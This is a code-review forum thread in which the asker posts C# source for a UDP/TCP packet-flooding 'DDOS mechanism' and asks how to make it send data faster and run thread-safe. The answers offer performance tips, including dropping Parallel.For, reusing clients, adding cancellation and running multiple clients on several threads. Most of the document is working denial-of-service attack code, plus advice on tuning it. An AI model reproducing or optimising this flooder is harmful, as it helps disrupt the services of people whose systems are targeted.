4
\$\begingroup\$

I'm pretty new to this but I coded a DDOS mechanism for educational purposes. I need to know if the thread safety can be improved (Right now I have none, but do I need any?) and if the loop speed can be improved (can data be sent any faster)?

public class SessionWorker : ISessionWorker
{
    private ISession _session;
    private readonly Task _cycleTask;
    private bool _cycleActive;

    public SessionWorker()
    {
        _cycleTask = new Task(OnCycle);
    }

    public void Load(ISession session)
    {
        _session = session;
    }

    public void Start()
    {
        _cycleTask.Start();
        _cycleActive = true;
    }

    public void Stop()
    {
        _cycleActive = false;
    }

    private void OnCycle()
    {
        if (_session.AttackType == SessionAttackType.Udp)
        {
            CycleUdp();
        }
        else
        {
            CycleTcp();
        }
    }

    private void CycleUdp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var udpClient = new UdpClient(_session.AttackingIp, _session.AttackingPort);

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                udpClient.Send(rubbish, rubbish.Length);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }

    private void CycleTcp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var tcpClient = new TcpClient();

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                tcpClient.Client.BeginSend(rubbish, 0, rubbish.Length, SocketFlags.None, ar => tcpClient.Client.EndSend(ar), tcpClient);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }
}

Other parts of the code?

public bool HasAttackExpired()
{
    return (DateTime.Now - AttackExpiration).TotalSeconds < 1;
}

StopAttack method:

public void StopAttack()
{
    if (IsAttacking && HasAttackExpired())
    {
        CoreUtilities.LogToConsole("Finished running an attack and sent " + BytesSent + " bytes.");
    }

    IsAttacking = false;

    AttackingIp = "";
    AttackingPort = 0;

    SessionWorker.Stop();
}
\$\endgroup\$
3
\$\begingroup\$
private bool _cycleActive;

You actually don't need this variable. The Task class has a Status property.


Thread.Sleep(2);

And the async/await classic one (like the classic namespace std in c++). You don't want to block your thread with that. Instead, you should use Task.Delay and make your code async


public void Stop()
{
    _cycleActive = false;
}

For stopping you should use the CancellationTokenSource and the CancellationToken. See Task Cancellation.

\$\endgroup\$
2
  • \$\begingroup\$ It looks like OP actually wants to suspend his thread for 2ms (for whatever reason). In which case Thread.Sleep is correct method to call. He does not use async programming model. \$\endgroup\$ – Nikita B Apr 13 '18 at 8:02
  • \$\begingroup\$ @NikitaB true, he's not, but it looks like he actually is trying to... seeing the way he's doing this... \$\endgroup\$ – t3chb0t Apr 13 '18 at 8:05
2
\$\begingroup\$

I am no expert on malicious code, but I guess the only way to know for sure what works best is to run some packet analyzer software on both client and server, and see for yourself.

I feel like your implementation uses too many threads. Parallel.For loop probably hurts more than it helps. It speeds things up only if you execute a sufficiently complex task on every iteration. Sending 1 byte over network is not complex at all. Try replacing it with regular for loop.

It is also unclear what 2 in Thread.Sleep(2) stands for. Why it is 2 and not, say, 3, and why you should "sleep" at all. If it is required, then maybe it should be a property of your session, and not a hard-coded value.

Clients implement IDisposable, so you should dispose them at some point. I also don't see why you should create a new client on every iteration. Can't you re-use single instance?

Another obvious thing to try is to run multiple clients on multiple threads. Maybe it will work "better". Maybe not.

P.S. As for your thread safety concern: see SO answer. So no, calling Send or BeginSend in parallel from different threads in not thread safe.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.